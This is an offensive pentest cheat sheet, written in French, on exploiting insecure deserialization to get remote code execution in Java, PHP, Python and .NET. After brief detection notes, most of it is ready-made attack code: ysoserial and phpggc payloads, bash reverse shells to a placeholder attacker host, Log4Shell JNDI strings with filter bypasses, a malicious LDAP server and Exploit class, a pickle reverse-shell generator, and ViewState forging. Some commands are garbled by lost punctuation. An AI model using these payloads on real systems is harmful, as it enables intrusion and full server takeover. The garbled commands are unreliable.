MDstable
NoteSnippetChecklistPlaybook

Désérialisation — Exploitation

Attaques de désérialisation Java, PHP, Python et .NET pour atteindre RCE

snippetadvanced 2025-05-13 4 min read
deserializationjavaphppythondotnetRCEexploitationpentest

Identifier une désérialisation

bash
# Java — magic bytes en base64
# rO0AB... = 0xACED 0x0005 (Java serialized object)
echo "rO0ABXNyAC5jb20u..." | base64 -d | xxd | head
# PHP — format O: ou a:
# O:8:"UserData":2:{s:4:"name";s:5:"admin";}
# a:2:{i:0;s:4:"test";i:1;i:42;}
# .NET — format AAEAAAD... (BinaryFormatter) ou JSON (ViewState)
# ViewState souvent en base64 dans les cookies
# Python — format pickle \x80\x04\x95
# Cookie ou paramètre base64 commençant par gASV
# Rechercher dans :
# - Cookies (session, viewstate, remember_me)
# - Paramètres POST
# - Headers (X-Serialized-Object, X-Java-...)

Java — ysoserial

bash
Variables
{{LHOST}}
{{LPORT}}
{{TARGET}}
# Lister les gadget chains disponibles
java -jar ysoserialjar
# Générer un payload RCE
java -jar ysoserialjar CommonsCollections6 'ping -c1 {{LHOST}}' | base64 -w0
java -jar ysoserialjar CommonsCollections1 'curl http://{{LHOST}}:{{LPORT}}/rce'
java -jar ysoserialjar Spring1 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1'
java -jar ysoserialjar URLDNS 'http://{{LHOST}}/detection' # détection blind
# Gadget chains courantes selon les libs présentes :
# CommonsCollections 1-7 → Apache Commons Collections
# Spring1/2 → Spring Framework
# Hibernate1/2 → Hibernate ORM
# JBossInterceptors → JBoss
# WebLogic1/2 → Oracle WebLogic
# ROME → ROME RSS library
# Envoyer le payload (remplacer le cookie ou le body)
curl -X POST https//{{TARGET}}/api/deserialize
-H "Content-Type: application/octet-stream"
--data-binary payloadbin

Java — JNDI Injection (Log4Shell / Log4j)

bash
Variables
{{LHOST}}
{{LPORT}}
# CVE-2021-44228 — Log4j 2 < 2.15.0
# Payload dans n'importe quel champ loggé (User-Agent, X-Forwarded-For, username...)
# Tester (Blind via DNS/HTTP)
${jndildap//{{LHOST}}burpcollaboratornet/a
${jndidns//{{LHOST}}burpcollaboratornet/a
# Bypass de filtre
-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://...}
${lowerjndi${lowerldap//...
${j-n}di:ldap://...}
# RCE via JNDI + marshalsec LDAP redirect
# Démarrer un serveur LDAP malveillant
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsecjndiLDAPRefServer
"http://{{LHOST}}:8888/#Exploit"
# Servir la classe Java malveillante
javac Exploitjava
python3 -m httpserver 8888
# Exploit.java
public class Exploit
static
try RuntimegetRuntimeexec"bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1";
catch Exception e

PHP — Désérialisation (unserialize)

php
Variables
{{LHOST}}
{{LPORT}}
// Identifier : O:n:"ClassName":n:{...} dans cookie/param
// Gadget chain avec PHP Generic Gadgets
// phpggc — générateur de payloads PHP
phpggc -l # lister les chains
phpggc Laravel/RCE1 system 'id' # Laravel → RCE
phpggc Symfony/RCE4 exec 'id' # Symfony
phpggc Drupal/FD1 'file_get_contents' '/etc/passwd' # Drupal → LFI
# Encoder en base64
phpggc Laravel/RCE1 system 'curl http://{{LHOST}}:{{LPORT}}/' | base64 -w0
# Magic methods exploitables
# __wakeup() → appelé à la désérialisation
# __destruct() → appelé à la destruction de l'objet
# __toString() → appelé si l'objet est converti en string

Python — Pickle RCE

python
Variables
{{LHOST}}
{{LPORT}}
# Pickle est dangereux dès qu'il vient d'une source non fiable
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1',))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Envoyer dans le cookie ou paramètre vulnérable
python
# Détecter un cookie pickle
import base64, pickle
data = base64.b64decode(cookie_value)
# Si commence par \x80\x04\x95 ou \x80\x02... c'est du pickle

.NET — ViewState et BinaryFormatter

bash
Variables
{{LHOST}}
{{B64_PAYLOAD}}
{{MACHINE_KEY}}
# ViewState non signé → désérialisation arbitraire
# Tester si __VIEWSTATE est signé
# Si MachineKey est connue → forger des payloads
# ysoserial.net
ysoserialexe -f BinaryFormatter -g TypeConfuseDelegate -c "ping {{LHOST}}"
# ViewState avec MachineKey connue
ysoserialexe -p ViewState -g TextFormattingRunProperties
-c "powershell -nop -e {{B64_PAYLOAD}}"
--generator=XXXXXXXX
--validationalg=SHA1 --validationkey={{MACHINE_KEY}}
# .NET Remoting / WCF — détecter via Content-Type application/octet-stream
# ou header SOAPAction avec namespace .NET

Outils et framework

bash
Variables
{{TARGET}}
# Détecter via Burp Extensions
# - Java Deserialization Scanner
# - Freddy Deserialization Bug Finder
# GadgetProbe — détecter quelles classes sont disponibles côté serveur
java -jar GadgetProbejar http//{{TARGET}}/endpoint collaboratornet
# Exegol / Docker avec tous les outils
docker run -it ghcrio/nwodtuhs/exegol java
💡 Tip —

Les gadget chains dépendent des bibliothèques tierces présentes sur le serveur. Faire une reconnaissance des versions (Commons Collections 3.x vs 4.x, Spring, etc.) avant de générer les payloads. Log4Shell reste exploitable dans des systèmes non patchés — toujours tester les headers HTTP complets.

OPS·BRAIN v1.075 notes · Securitylocal